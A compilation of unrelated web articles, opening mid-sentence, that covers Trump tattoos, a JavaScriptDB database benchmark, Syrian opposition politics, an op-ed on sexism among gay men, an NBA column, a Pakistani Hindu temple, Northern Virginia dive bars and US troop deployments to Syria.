to give other supporters a way to display their solidarity with the Republican candidate. Doyle revealed to us that he was never much into politics before Trump came along. In fact, At 33 years old, this will be the first time Doyle casts a vote in a presidential election. The former Marine told us that politicians have always sounded like a broken record to him, saying the same things over and over without any real message. Trump's business experience, straightforward talk, support for the troops and ideas about foreign policy all appeal to Doyle. In fact, he was the very first person to receive Trump ink at Anarchy Tattoo. The photo above is of Sean's leg. Newell, on the other hand, is still deciding between a tattoo of Trump Tower, a Trump train or The Donald's face. Another challenge for Newell is finding room on his body for the ink, which is already pretty much full of tattoos. The biggest hurdle for customers getting a Trump tattoo is the fear that their candidate might not actually win. According to Doyle, those who worry about "tattoo remorse" can take comfort in knowing that Newell is extremely talented at covering up unwanted tattoos. The business owner says his tattoo artistry could easily transform Trump into a "zombie Trump or cover him up with a tiger or a rose." As for Doyle; win or lose he'll be keeping his Trump tattoo, honoring who he calls a "man of the people." For those of you interested in getting your free Trump tattoo, you can visit Anarchy Tattoo on Route 6 in Slate Hill. Operating hours, directions and contact information are all available on their website . -The latest beta of Persevere features a new native object storage engine called JavaScriptDB that provides high-end scalability and performance. Persevere now outperforms the common PHP and MySQL combination for accessing data via HTTP by about 40% and outperforms CouchDB by 249%. The new storage engine is designed and optimized specifically for persisting JavaScript and JSON data with dynamic object structures. It is also built for extreme scalability, with support for up to 9,000 petabytes of JSON/JS data in addition to any binary data. These statistics are even more impressive when one considers all the additional functionality that Persevere provides while outperforming these other storage systems. MySQL utilizes traditional fixed structure schemas requiring homogenous records in a table, while JavaScriptDB (as well as CouchDB) support storage of heterogeneous objects of any structure in tables. Persevere/JavaScriptDB goes further with the flexibility to evolve schemas and handle partial schemas. Persevere also provides integrated server side JavaScript (SSJS) with persistence, Comet-driven data change notifications, JSONQuery, standards based HTTP interface with content negotiation, JSON-RPC interface to SSJS, cross-domain handling, CSRF protection, and more. All of these things are additional features that one would have to add to the stack for other storage systems, making them even slower. Persevere includes this functionality out of the box, while still maintaining extremely fast performance. Test Scenario These tests were performed on a Mac/OS-X with a 2GHz dual-core Intel processor and 1 GB 667 MHz DDR2 memory. The PHP/Apache/MySQL setup used MAMP 1.7.2 which includes PHP 5.2.6, MySQL 5.0.41, and Apache 2.0.59. The CouchDB tests were performed with CouchDBX version 0.8 (which uses CouchDB 0.8.1). Persevere’s nightly builds from late March were used for JavaScriptDB tests. Three different operations were performed in the tests: Insert/POST operation to create a new object Update/PUT operation to update an object Query/GET to search for objects by an (indexed) field/property On the PHP/MySQL tests, all operations were handled by a very simple PHP script that first did a quick security check query against a small table (actually empty for the tests) to emulate the security capabilities of Persevere and CouchDB (although CouchDB’s security capabilities are limited, and probably often require additional logic), and then the main query was executed against MySQL, whether it be an INSERT, UPDATE, or SELECT. All the created objects/records had four properties/fields for all three systems. In MySQL, two properties were indexed, one being the primary key, the other being the property that was queried on in the query requests. In CouchDB, a simple view was created that indexed on a single property. This view was used for the requests that queried by index. Both Persevere and CouchDB tests used their standard HTTP interface for creating, updating, and querying. Tests were carried out by a HTTP client running on 10 threads concurrently issuing a sequence of 200 of each type of request. The “full test” performed create, update, and query requests. The “write test” performed create and update requests, and the “read test” only performed query requests. The files used to perform the benchmarks are available here. Test Conclusions Two sets of tests were run—one that used fast commits that do not wait for committed data to be actually physically written to the disk (allowing for normal OS write-back caching), and high-integrity commits which cause the committed data to be forced to the disk. JavaScriptDB has a setting for choosing which style of commits to use. In MySQL, the MyISAM storage engine was used for fast commits, and the InnoDB storage engine was used for high-integrity commits. CouchDB always uses high-integrity commits. While PHP is not the fastest language, the script that was used for these tests was very trivial, and it’s unlikely that PHP code execution significantly detracted from the overall performance of the PHP/MySQL combination. With this simple, streamlined PHP script, a very fast classic setup was used. Alternate languages would not be likely to improve the performance by very much. Yet, Persevere’s JavaScriptDB still beat this setup by a significant margin. With more complex request handlers that might provide more of the functionality that Persevere already provides, the margin would be likely to increase even more. Quite simply, the classic application server + MySQL database setup is hard-pressed to compete with Persevere in terms of performance for most normal database interactions. So how does Persevere achieve this level of performance with the JavaScriptDB storage? The dynamic object-oriented nature of the data that is stored in JavaScriptDB is much different than that of a traditional relational database, so a number of innovative approaches were employed. Direct Data-Bound Object Representation One of the central concepts of Persevere is that all persisted data is mapped to JavaScript objects. This enables server side JavaScript functions and handlers to easily be able to interact with persisted data, and provides a convenient in-memory representation of data that allows for intuitive normal object-oriented data interaction. However, in Persevere this more than just a convenient API—it also facilitates efficient memory utilization by providing a single in-memory representation that can be reused at multiple levels. In a traditional application stack, a record must have separate in-memory representations for each different level in the stack. A database may have an in-memory representation before serializing result sets back to the application. The application may have result set level representation, which then might be mapped to an object representation. Every one of these levels consumes more memory. These extra layers increase latency and overhead as well. In addition, most database driven applications rely on TCP/IP communication with the database, which consumes a large amount of resources as well. With the JavaScriptDB, the single in-memory object is efficiently reused at the database level for all result sets and data caching. This not only means less memory-consumption, but it also translates to more efficient CPU cache utilization for Persevere, and direct low-latency access to data. Shared Cache of Objects with Copy-on-Write Not only are in-memory objects shared between the application level and the database level, but Persevere also utilizes a shared cache of objects between threads to ensure that any given record/object only exists in memory at most one time. Traditional application frameworks process separate HTTP requests concurrently and each request will have its own result set and a copy of data. These can lead to significant duplication of data in memory. With Persevere, objects are always reused if they are still available in memory. While this technique is relatively simple for read-only data, Persevere still maintains virtual memory isolation between threads to protect against concurrent access between threads and ensuing race conditions. Persevere does this by performing copy-on-write style values in objects. When a property is modified, internally its value is modified to being a “transactional” value that actually has multiple states depending on which thread is accessing the objects. Therefore an object can be modified by one thread, but another thread can access the same object without seeing the uncommitted change. Property changes are made visible when transactions are committed. This technique allows Persevere to maintain transactional isolation between concurrent request handlers, while minimizing the record/objects that must be held in memory. Persevere’s architecture combined with JavaScriptDB’s integration minimizes memory consumption, allowing internal caches to be maximized for optimal performance. Persevere utilizes the sophisticated least recently used (LRU) caching capabilities of the Java Virtual Machines’s (JVM) soft referencing mechanism. In-memory objects, as well as JavaScriptDB’s indices, are cached via soft reference tables. This allows the JVM to utilize an integrated view of reachability and object access timestamps to determine which objects to collect and discard. This means that objects that are reachable by currently executing code will always stay in the cache (since they must stay in memory due to reachability) as long as they are reachable. Unreachable objects are then discarded according to LRU strategies. Since the JVM’s garbage collection handles object collection at a global level, it is also able to optimally select objects for collection without being constrained by module level view. This means that if the indices are not being used frequently, more memory can be allocated to the object cache and vice versa. Caches are maintained according to usage and reachability with the JVM’s global perspective for optimal discarding strategy. Append-based Database Storage JavaScriptDB uses an append-based database format to store data. Many traditional database will synchronously commit data to a transaction log file before committing data to the main storage table, which requires multiple writes. On the other hand, JavaScriptDB appends transactional data directly to the main storage file such that writes can be committed with a single IO operation. This also enables JavaScriptDB to efficiently maintain a version history of the database and its records. The storage file is essentially a running log of transactions, and these transactions are exposed as the Transaction table. By storing data as a sequential set of transaction, JavaScriptDB not only can persist data quickly, it also provides efficient access to the transactions that have taken place and a version history of the database and objects within it. Adaptive On-Demand Concurrent Indexing JavaScriptDB features a dynamic approach to indexing that minimizes the configuration and management required to create and maintain tables, and maximizes performance. By default, JavaScriptDB indexes all properties of persisted objects, so typical queries can almost always be run in fast O(log n) time. However, the indexer does not block write operations to complete index updates when objects are added, deleted, or modified. Rather, the indexer execution takes place concurrently in a background asynchronous task executing threads. As objects are indexed, the index update operations are delegated to the appropriate index nodes, which are also executed as asynchronous tasks. When an index is needed for a query, any outstanding updates along the node tree path are completed so the query can execute. It is worth noting that this on-demand indexing does not mean that the entire index must be updated to execute a query. Often (and usually in the case of large databases) an object may be updated that affects an index node that isn’t used in a subsequent query. In this case, the query can still execute without waiting for the index node to be updated. JavaScriptDB properly orchestrates concurrent indexing such that nodes are updated through lower-priority background threads when possible, and immediately updated on-demand as necessary. This allows write operations to take place very quickly, while still allowing indexes to be ready for fast query operations as well. This also allows Persevere to utilize resources and CPU processing more evenly and smoothly. Background processes can take CPU time as needed when client requests are not demanding immediate data retrieval. Furthermore, JavaScriptDB uses adaptive techniques with indexing. If a particular index has been unused for some time while many objects have been added to a table with the corresponding property, JavaScriptDB will stop proactively updating the index to conserve resources. When an index is no longer proactively updated, the index will only be updated on-demand, when a query is performed that requires that index. Once the index is updated, it will resume proactive updates (at least until disuse causes it to go back to a non-proactive update state). This approach allows JavaScriptDB to automatically do appropriate and efficient indexing with minimal manual configuration. JavaScriptDB does also support manual configuration of indexes, for situations where you may want explicit control of indexing. Batched writes in integrity mode One of the most expensive operations that a database can perform is a forced synchronous disk write operation. These operations are necessary for high-integrity commit mode where the commit does not return until the database is certain that the data has actually been written to the disk, fulfilling the durability component of ACID compliance. These operations can take around 10ms. In order to improve the performance of high-integrity commits, Persevere will detect when multiple writes are taking place concurrently and batch multiple writes together in a single synchronous disk write operation. When a number of concurrent write requests are being sent to Persevere, this can significantly reduce the number of synchronous writes that must take place and greatly improve performance. Pluggable Storage Persevere uses a pluggable storage system. JavaScriptDB is one of several data source plugins (the default data source) that can be used with Persevere. Persevere supports heterogeneous storage configurations. This means you can leverage the performance and flexibility of JavaScriptDB in Persevere without abandoning existing relational databases, as well as other data sources. Even custom data sources can be created for unique storage systems. The ServerJS working group is also considering a standard API for database interaction that might possibly allow JavaScriptDB to be used as a standalone database engine for use by other Rhino-based frameworks like Helma (of course Persevere + JavaScriptDB can already be used with existing JavaScript modules, and it can be used as a database for Java applications through it’s Java API). Future Improvements This is the first release of JavaScriptDB, so there is still significant opportunities for continuing to improve and refine this storage engine. Currently, JavaScriptDB does not utilize indices for nested object queries (the equivalent of inner joins in relational DBs). Consequently queries of the form [?prop1=’something’] will execute in O(log n) time, but queries of the form [?prop1.prop2='something'] will only execute in O(n) . Future versions will provide fast O(log n) for a much broader range of queries. A later release will also provide true ACID compliance (the current version does not fulfill the atomicity constraint). Finally, replication/clustering services will be added in the future as well, for distributing Persevere workload across multiple servers. Real Value As Alex Payne pointed out, the economy may be ending the era of disregard for system performance and efficiency with the excuse of buying more servers. More servers costs more money, and architectures like Persevere that can efficiently handle large numbers of users and traffic with minimal hardware resources equates to real money saved. Persevere combines numerous advanced capabilities for web-accessible data including standards-based HTTP interface, JSONQuery, JSON-RPC, server side JavaScript, Comet-based data notifications, robust security, and more. Now these capabilities are available with speed and scalability that outperforms the most common web application systems, allowing you to build high-performance client/server Ajax web applications with unprecedented ease, efficiency, and value. Update: Jan Lehnardt pointed out that CouchDB is now at version 0.9.0 and OS-X is not the optimal platform for CouchDB, so the latest version CouchDB can presumably improve upon the CouchDB performance shown in these tests. Hopefully we can progress towards better benchmarking tools for this new breed of databases. -GENEVA (Reuters) - Syria’s political opposition hopes Hillary Clinton wins the U.S. presidential election next week because she has a better understanding of the conflict than Donald Trump, according to members of a delegation holding talks at the United Nations. President of the Syrian National Coalition Khaled Khoja delivers remarks regarding Russian air strikes on Syria at the United Nations in Manhattan, New York September 30, 2015. Russia launched air strikes in Syria today in the Kremlin's biggest Middle East intervention in decades. REUTERS/Andrew Kelly - RTS2IBM Khaled Khoja and Hind Kabawat, in Geneva on Monday to press for U.N.-led negotiations on the release of Syrian detainees, said they trusted Clinton, a former U.S. Secretary of State, to deliver on the opposition’s top priority - protecting civilians. Clinton has called for the establishment of a no-fly zone and “safe zones” on the ground in Syria to protect non-combatants. Trump says this could “lead to World War Three” due to the potential for conflict with Russia, which is providing military support to President Bashar al-Assad. Kabawat said Trump, who has never held public office and has no foreign policy experience, saw Islamic State, also known as ISIS, as the only alternative to Assad in Syria. “For us a woman’s leadership at this time would be a good thing. Also for many, like Trump and others, they think that the Syrian conflict is comparing Assad with ISIS and they have to take one side or the other, and of course for them Assad will look more prominent than ISIS,” said Kabawat. “She (Clinton) knows that is wrong. She knows that there is this moderate opposition that believes in democracy and freedom. This is what we are aiming for, to have a president of the U.S. with good experience who knows the difference between the different oppositions.” Assad, whose forces have regained much territory against their opponents with the help of Russian warplanes, has branded all those opposed to his rule as “terrorists”. ISLAMIC STATE Trump has said defeating Islamic State should be a higher priority than trying to persuade Assad to step aside, a departure from a long-held U.S. policy objective. Khoja, leading the Syrian opposition delegation in Geneva, disagreed with this viewpoint. “Dealing with only the ISIS issue will not help with solving the crisis in Syria or the region because the root cause of the crisis is the (Assad) regime itself,” he said. Kabawat, an attorney and a member of the opposition High Negotiations Committee, added that the Syrian political opposition wanted to see women playing an equal role to men in the nation’s politics. The opposition delegation, which has links to the Free Syrian Army but not with Islamic State or al Qaeda-linked groups, is in Geneva this week to revive the issue of prisoner releases, sidelined during months of fruitless peace talks. Khoja said more than 100 armed groups had shown their willingness to cooperate but there had been no sign of cooperation from Assad’s government or Russia, adding that the United Nations should form a committee on the matter. “If it’s needed, if there is a response from the regime side to release the detainees and stop killings inside Syria, then we can have the representative of the military groups also in this committee, and if the regime wants to send someone to this committee, we can discuss it,” Khoja said. The Syrian Network of Human Rights has documented more than 90,000 detainees held by the Syrian government, 6,000 held by Islamic State and 2,400 held by the rest of the opposition, but estimates the real numbers are twice as high. -Over the long weekend, somebody directed my attention to an article on the Everyday Feminism site entitled ‘Gay Men’s Sexism and Women’s Bodies‘. It’s a pretty attention-grabbing headline, especially to a gay male feminist, so I clicked through, and ultimately came away massively conflicted about what I’d just read. The writer, Yoko Akili, is a gay male writer, poet and educator, and it is definitely important to view the article within the context of his Queer American perspective. There’s plenty within the article to agree with. He relates the story of a female friend who had her breasts grabbed aggressively in a club by a gay man she had never met before. The man refused to apologise or admit he had done anything wrong, saying “It’s no big deal, I’m gay, I don’t want her – I was just having fun.” To be frank, that’s an utterly vile statement. I don’t give two shits whether or not you find somebody sexually attractive – do not ever grab somebody’s junk without their consent. Like, ever. That is assault. It is not okay. I’ve seen plenty of online commentators make the comparison with hordes of straight women flooding into gay bars and clubs, making the occasional vodka-induced crotch-grab on a passing Muscle Mary, but I’m not going down that route. Yes that’s equally wrong and equally fucking annoying, but I do think Akili is spot on when he points out that this issue exists and highlights a male sense of ownership of women’s bodies, regardless of sexuality. When a skinny, permatanned twink grabs a girl’s tits on the dancefloor of a gay club, their motivation clearly isn’t the same as when those teenage boys in Steubenville, Ohio raped a passed-out girl at a party, but they’re both parts of the same damn problem – it’s sexism and it’s misogyny, pure and simple. It’s the viewpoint that women’s bodies are only there for the experiencing of pleasure, of “having fun”. Whether it’s of a sexual nature or not is entirely beside the point. This is what feminism exists for – to challenge behaviours such as this and to expose the pervasively misogynistic worldviews that motivate them. Akili says that he has “experienced this attitude as being very common amongst gay men”, and opens his article with the admittedly less-than-scientific observation that a group of gay men in the audience of one of his presentations all admitted to touching a woman’s body without her consent, and also to offering a woman unsolicited advice about how to “improve” her body or fashion. He is clearly basing this article on his own anecdotal experience. To a certain extent I, and I’m sure many readers, share those experiences – I’m painfully aware that this behaviour does occur on a regular basis within parts of the LGBT community. That being said, however, I’m pleased to report that the vast majority of my friends who identify as gay/queer men would find the idea of feeling up a female stranger in a club completely awful. Here’s a not so shocking fact for you – gay men are no more a monolithic entity than any other social group. We know it’s not okay to begin sentences with hideously sweeping, absolutist statements like “all Muslims are…” or “all Chinese people are…”, because those statements are almost always demonstrably fallacious. Not all gay men grope women in clubs. Not all gay men go to clubs. Not all gay men would routinely walk up to a woman they barely know and start telling her what is wrong with the way she looks or the clothes she wears. Don’t get me wrong – it happens, and the rest of us should do whatever we can to smash that kind of bullshit wherever we experience it. Akili’s problem is that he extrapolates out from his own personal experiences of a small subsection of a nationally-defined subculture and attempts to apply his findings to “all gay men” – a mythically homogenous group if ever there was one. The part of the article which baffles and confuses me most is the leap Akili then makes from discussing the grabbing of breasts and the inherent misogyny therein to classifying gay men’s “diva worship” and “celebrating women” as “objectification, assault and dehumanisation”. It’s a frankly insulting and entirely unfounded assertion, and it really does come out of left field. If you grope a woman in a club or feel you have the Gucci-given right to tell her how she should look, then you’re a douchebag and you’re a dehumanising misogynist. But to go from that to asserting that when a gay man idolises or celebrates a woman, or group of women, he is objectifying them – there’s no basis for such a claim and it’s almost offensive. To leap from your own personal, limited experience and make sweeping and damning claims about an entire group of people…well it definitely doesn’t sit too comfortably with me. Akili’s intentions are pure, I have no doubt. The patriarchy is an insidiously pervasive and damaging force – from the glass ceilings of our workplaces to the sticky dancefloors of our gay bars, it’s everywhere and it must be challenged at every available opportunity. But not all gay men are misogynists, and thank God for that. We do receive a certain amount of the privilege that comes with being male in our Western society, and that’s a huge part of why some gay guys are sexist ass-hats, but it’s not all of us. Gay men aren’t all the same, but if we could all recognise where the misogyny is occurring within our community and stomp it out, maybe we could be. And then that wouldn’t be such a bad thing. -Before the start of the 2013-14 NBA season, a springtime Thursday night matchup between the Oklahoma City Thunder and Los Angeles Lakers seemed like a pretty attractive primetime affair, with visions of league-leading scorer Kevin Durant leading another title-contending Thunder squad into a contest with a Lakers team perhaps scrapping for a playoff spot behind a version of Kobe Bryant rounding into form after knocking off nearly eight months of Achilles-rehab rust. That, of course, wasn't to be. While Durant's turned in an MVP-caliber campaign to lead the Thunder to contention for the top seed in the Western Conference, injuries and setbacks (and, y'know, losing an All-Star center in free agency and "replacing" him with Chris Kaman) have derailed Bryant and the rest of the Lakers this season, leading to L.A. dragging a 22-42 record into Thursday's game, which the Lakers entered fresh off having ruled Bryant and point guard Steve Nash out for the remainder of the season. Four days after the Lakers pulled off a stunning upset of the Thunder, OKC returned the favor with a 131-102 smackdown behind 29 points apiece from Durant and Russell Westbrook. The game would've been more fun — although perhaps not necessarily all that much more competitive — with Bryant around. Scroll to continue with content Ad As it turns out, though, the Mamba was present in spirit, after a fashion. During a conversation with Durant that served as the basis for a piece leading up to Thursday's game, Mark Medina of the Los Angeles Daily News spoke with Durant about the way he works on his game, and how he's modeled that approach on his experiences with Bryant over the years: Story continues “Of course. He’s the greatest of all time. His skill is second to none. Him and [Michael Jordan] are neck and neck as far as skill. You can put in athleticism and be the best passer and strongest and quickest. But it’s about skill. I think that’s how his game is played. That’s why Kobe is the top two best ever in just having skill, footwork, shooting the three, shooting the pull up, posting up, dunking on guys and ball handling. It’s flat out skill. Him and Jordan are 1 and 1A. They’re neck and neck as far as the skills are concerned.” “Kobe plays his game no matter what with his intensity and focus and he will play to win. He also will do what he needs to do to get ready to play. If he sees a mismatch, he’ll take it down low and demand the ball. He’s one of those guys who will always bring the same intensity every time no matter who’s on the court.” This will undoubtedly rub some readers the wrong way, as such statements always seem to. That's fine — rankings are, of course, a matter of personal preference, Durant's entitled to his opinion as to Kobe's all-time greatness, and the specific elements Durant's talking about (the breadth of Bryant and Jordan's skills, their commitment to technique, the variety of different things they could do offensively) might not dovetail perfectly with everyone else's definitions of "greatest of all time." There's still plenty of room to state cases for any number of other "1 or 1A" players, from Wilt Chamberlain and Oscar Robertson, to Kareem Abdul-Jabbar and Magic Johnson, to Larry Bird and Bill Russell, and any number of others in between. Your mileage may vary. Please feel free to argue this on a barstool to your heart's content this weekend, so long as I am not on the barstool next to you. What's most interesting to me, though, is the way Durant's praise of Bryant's game and accomplishments came in the context of acknowledging not only that he's modeled his own approach to skill development and improvement on Kobe's, but also that he's actively sought advice from his 2012 Summer Olympics teammate on matters both specific and general. More from Medina: What’s Kobe’s personality like? “He’s one of those guys that’s to himself and real quiet. That’s how it was being around the Olympics. He’s a great guy to talk to and somebody that I remember two years ago, I called him at like 3 in the morning. We both had a game the next day. I was picking his brain a little bit. He’s one of those guys who’s a night owl.” What were you asking him? “I was picking his brain about different situations in the game and how I can handle my teammates better and how I can approach the game a little better. I don’t think I told anybody that. But I texted him one night and said, 'Man, I need to talk to somebody before playing the next day.' It was three in the morning. He picked the phone up. That’s something I’ll always remember. When we play each other, it’s better now that we have that relationship because it was almost bragging rights.” Durant's language here is very similar to what Indiana Pacers forward Paul George used in a recent interview, where he said he'd like to develop a mentor/mentee-type relationship with LeBron James, "because I think he’s a player that can help me get to the next level and continue to keep going to the next level." (George also said he wishes Bryant "would mentor [him]," noting that every time he runs into Kobe, "he gives me a couple words.") James, for his part, said he'd be open to mentoring George: "You know me, I don't mind it at all. I don't mind giving guys [advice], whatever he wants to ask. Guys know I have an open door/phone policy." When those stories broke, some cast sideways glances at George for saying he'd like to be mentored by the guy whose spot he's trying to take and at James for saying he'd be willing to mentor the guy trying to take his spot. I suspect Durant won't be seeing any such side-eye in this instance, if for no other reason than that — at age 35, after a year lost to major leg injuries, on a Lakers team that looks unlikely to compete for anything meaningful any time soon — Bryant and the Lakers no longer really represent the same sort of threat to Durant's primacy as the West's best scorer or the Thunder's chances of being the West's best team that George and the Pacers do to James and the Heat. Kobe doesn't think that way, obviously — he'll believe he could compete for a championship until he's six feet under, same as Jordan — but in the context of the NBA world as it actually exists, it makes more sense in the minds of many for a great player from the new school to seek counsel from a prior generation's top star rather than for contemporaries to compare notes. It shouldn't, though. I like the idea that LeBron and KD have worked out together. I think it's cool that the best and brightest want to not only go after each other and tear one another apart, but also want to learn from one another and try to get better by figuring out stuff they don't know from people who might. Nobody's saying that everybody needs to be the best of friends all the time, but considering that one of the primary developments of the post-AAU-basketball-playing social structure is that these guys mostly are friends, why not make the most of those other awesome people you know as you attempt to become the best possible version of yourself? You're never going to know everything, and you're never going to be the unquestioned best at everything if you don't ceaselessly attempt to get better. A lot of that work is physical, of course, coming through hour after hour of hard labor in the practice gym and weight room, but important additions can also come from simple conversations, whether during All-Star Weekend shootarounds or 3 a.m. check-ins. Do collaboration and competition have to be mutually exclusive? Or can players adopt an "each one teach one" mentality off the court, and still go all out to take one another to school on it? It sure seems to be working for guys like LeBron and Durant; if this "mentoring" thing catches on, the rising tide could lift quite a number of super-talented young boats in the years to come. - - - - - - - Dan Devine is an editor for Ball Don't Lie on Yahoo Sports. Have a tip? Email him at devine@yahoo-inc.com or follow him on Twitter! Stay connected with Ball Don't Lie on Twitter @YahooBDL, "Like" BDL on Facebook and follow BDL's Tumblr for year-round NBA talk, jokes and more. -This is a signboard located on the Makran Coastal Highway. The signboard can easily be ignored by any passersby but ignoring it means ignoring a history of around 9000 years. The signboard points a traveler to the historic Hinglaj Devi Temple located in Hinglaj of Balochistan region in Pakistan’s southwest. It is one of the most important pilgrimage sites in Pakistan for the country’s minority Hindus. Because it is located near Karachi, the Islamic country’s only cosmopolitan city, Hindus find Hinglaj easily accessible. Why is the religious significance of Hinglaj? Advertisement Any temple in the repressive, anti-minority Pakistani establishment is important for the Hindus, and Hinglaj has a history that even the native Balochistanis are proud of. According to the Hindus, the site is one of the 51 Shakti Peeths of Hinduism. A Shakti Peeth is a place associated with Sati – the wife of Lord Shiva. Hindus believe that the head of Sati fell at Hinglaj, thus making it the most important of all Shakti Peeths in the sub-continent. Hinglaj is also the only Shakti Peeth in Pakistan. Despite its religious significance, Hinglaj does not even look like a Hindu temple. The temple is like a shrine nestled in a small cave like opening at the foot of a mountain. There is only a mark of a Sun and a Moon on the shrine believed to have been made by Lord Ram. The idol of the Goddess is inside a low-roof structure. Proper Hindu rituals are followed in the worship of the Goddess. Pilgrims walk on foot over the rocky desert landscape to reach the temple as a form of penance. How is Hinglaj still surviving despite increasing fundamentalism in Pakistan? The temple would have been lost to the establishment condoned rising fundamentalism in Pakistan but for the locals of Balochistan. It is the Balochistani people, Muslims by faith, who have helped protect the shrine for this long. They call it ‘Nani ki Mandir’. The caretakers of the shrine and Baloch tribesmen live in a local village close by. The tribesmen revere the Hinglaj Devi temple and help the Hindu pilgrims in whichever way they can during the pilgrimage. It is because of the Baloch tribesmen that the temple survives to this day in a land where everything related to minorities face persecution at the hands of fundamentalists and a government that has kept its eyes closed. -"Drinks for all my friends!" Mickey Rourke (right) and Frank Stallone in a scene from "Barfly," the quintessential dive bar movie, from 1987. "Trees Lounge" is also an esteemed member of the genre. (The Cannon Group) Recently, I lamented the passing of John’s Place, a dive bar in Fairfax City which closed Jan. 1. It seemed perhaps symbolic of the evolution of shiny new Northern Virginia, leaving grubby old Northern Virginia behind. But readers jumped in with many suggestions of dive bars still thriving in NoVa. I will soon undertake a research mission to explore the places you’ve pointed out. But I needed a template, a philosophical guide: What, in Northern Virginia in 2013, is a dive bar? I turned to Fritz Hahn, tavern expert for The Post’s Going Out Guide and a man well-acquainted with the dives of NoVa, D.C. and elsewhere. I asked what rules should be used to define a dive bar. I started out with some suggestions: 1) No kids. 2) Decent jukebox. 3) Inedible food. His response, below, is hilarious. Insightful, clearly spoken from experience, and a total roadmap. Read on, and then add your own defining characteristics of a dive bar in the comments: Fritz: Good start. I don’t think the food has to be inedible. I’ll admit to liking the burger at Quarry House (Silver Spring) and the chili dog at Vienna Inn. But the menu should be full of things you’d get at a fire station or a church picnic. Chili, Italian subs, fried mac and cheese, wings or tacos would be fine. Even fish and chips. Strip steak, anything topped with boursin cheese, any “wrap,” fancy fish — all out. At least half of the menu items should have come in contact with a deep fryer. What a dive bar looks like. From the Surf Club in Hyattsville, now gone. (Nikki Kahn/The Washington Post) The exception I’ll make is for places that have found ethnic neighborhoods spring up around them. I’ve been to some bars in Silver Spring and Annandale where the cooks were Latin American and talked the owners into putting quesadillas or empanadas on the menu, and they’re better than the American dive food. Anyway, more suggestions: No microbrews that you don’t see advertised on TV, i.e. Sam Adams, though I’m flexible with this: I know of some dives where the owner or a bartender prefers good beer, so they stock it, or the regulars asked for DC Brau or another local brew. No drink over $10. Better yet, no beer-and-a-shot combo over $10. A dusty bottle of Galliano, Frangelico or Benedictine that probably hasn’t been used since the ’80s. House wine poured from large jugs behind the bar. No framed reviews on the wall unless they’re 10 years old, from an actual newspaper. I used to say no internet jukebox, and while I’m easing off that, I still prefer a CD Jukebox. Or, as Galaxy Hut did when they caved, a jukebox that the owner can ban artists from. While the Hut has an internet juke, you can’t punch up Britney or One Direction or something. A dive bar regular, in this case, Tom Orlowski at Mark’s Place in Virginia Beach. "They oughta hang 'em and get it over with," Orlowski said of sniper John Allen Muhammad and his trial then starting in Virginia Beach. (Stephanie K. Kuykendal/FTWP) Should be dark or dimly lit. Bonus points for a light that’s out or flickering. Something about the place should be local without being hokey — maybe a high school team’s hat or jersey on the wall, an old photo of the building, a sign advertising an event at the local VFW. At least one patron should look like they got there before 10 a.m. Corollary: If the bar doesn’t open before 5, it’s not a dive. Bonus points for a family photo of the owner, more for a family photo showing the bartender, even more for photos of regulars. Pool table is a plus, especially if the felt is faded and you see obvious wear in front of the head spot. (And, like Hank Dietle’s in Rockville, there’s a sign telling you not to use the pool balls in a fight.) (Fritz’s top Virginia dives: Jay’s in Clarendon, JV’s in Falls Church, McKeever’s in McLean, Mark’s Pub in Falls Church and the Forest Inn in Arlington. ) (Here’s a list of Fritz’s top Virginia bars, of all varieties.) -Ash Carter announces extra personnel and criticises allies in Middle East for not doing enough in fight against Isis The US defence secretary has announced that 200 more military personnel will be sent to Syria to strengthen the fight against Islamic State in its stronghold of Raqqa. Speaking at talks on Middle East security, Ash Carter said Barack Obama had approved deployment of the extra troops, who would include special forces trainers, advisers and bomb disposal experts. Three hundred US special forces are already in Syria working with a coalition of Kurdish and Arab fighters who are attempting to capture the city. The Syria Democratic Forces (SDF) has been gaining ground in areas north of Raqqa, the caliphate’s Syrian capital. The US has mostly been supporting the effort through airstrikes. Carter also made one of his most direct attacks yet on other Middle Eastern countries for not lending more military muscle to the fight against Isis while complaining about American efforts. In a speech on Saturday at a security conference in Bahrain, Carter said the additional troops would “continue organising, training, equipping, and otherwise enabling capable, motivated local forces” to take the fight to Isis. He went on to criticise America’s Middle East partners for failing to help in the broader campaign to defeat the group and counter-extremism. He suggested US politicians had been irritated by what he saw as disingenuous criticism from “regional powers here in the Middle East”. Carter said: “I would ask you to imagine what US military and defence leaders think when they have to listen to complaints sometimes that we should do more, when it’s plain to see that all too often, the ones complaining aren’t doing enough themselves.” He said it was not unreasonable for Washington to expect regional powers who opposed extremism in the Middle East to do more to help fight it, “particularly in the political and economic aspects of the campaign”. Carter noted how many Sunni-led Gulf countries had expressed concern about the spread of Iranian influence in the region. “The fact is, if countries in the region are worried about Iran’s destabilising activities – a concern the United States shares – they need to get in the game. That means getting serious about starting to partner more with each other, and investing in the right capabilities for the threat.” He added that Russia, Syria’s main ally, had “only inflamed the civil war and prolonged suffering”. Carter said Obama had approved the extra troop movements last week. It is thought they are needed in the urgent efforts to train Arab volunteers who are joining the Raqqa push. “By combining our capabilities with those of our local partners, we’ve been squeezing Isis by applying simultaneous pressure from all sides and across domains, through a series of deliberate actions to continue to build momentum,” he said. The military push is complicated by the role played by local Kurdish fighters, the most effective US partner against Isis in Syria, but who are viewed by Turkey, a US ally, as a terrorist threat. Meanwhile, the US secretary of state, John Kerry, was in Paris on Saturday meeting European and Arab foreign ministers to discuss Syria, a conflict he described as the worst catastrophe since the second world war. He was due to hold talks afterwards with the Russian foreign minister, Sergei Lavrov, a day after admitting to US embassy staff in Paris that he was “tired” of trying to negotiate with the Russians over the civil war in Syria. “I know people are tired of these meetings. I’m tired of these meetings,” Kerry said. “And people are sort of: ‘Oh, another meeting. OK. This one will end the same way the other one did.’ I get it, folks. I’m not born yesterday. But what am I supposed to do? Go home and have a nice weekend in Massachusetts while people are dying? Sit there in Washington and do nothing? That’s not the way you do business.” Kerry has struggled to make progress since Russia intervened militarily to prop up Bashar al-Assad’s regime. On Friday in Aleppo, pro-regime forces were claiming to occupy 85% of the city, much of which has now been reduced to ruins. Lavrov announced on Wednesday a temporary “humanitarian pause” to the bombardment of Aleppo to allow civilians to leave, and on Thursday 10,500 fled the city. The UN special envoy for Syria, Staffan de Mistura, said on Saturday that an estimated 100,000 people remained, squeezed into an “ever-shrinking” pocket of resistance to Assad’s forces and without access to food, water or medicine. De Mistura said the expected government victory in Aleppo would not end the war, as has been predicted. “A serious discussion about the future political set-up of Syria” was the only way to achieve peace, he told BBC Radio 4’s Today programme. -As the large-scale FBI investigation into corruption in college basketball continues nationwide, Hurricanes coach Jim Larrañaga and his staff are cooperating with authorities looking into the Miami program, Larrañaga’s attorney said late Tuesday night. 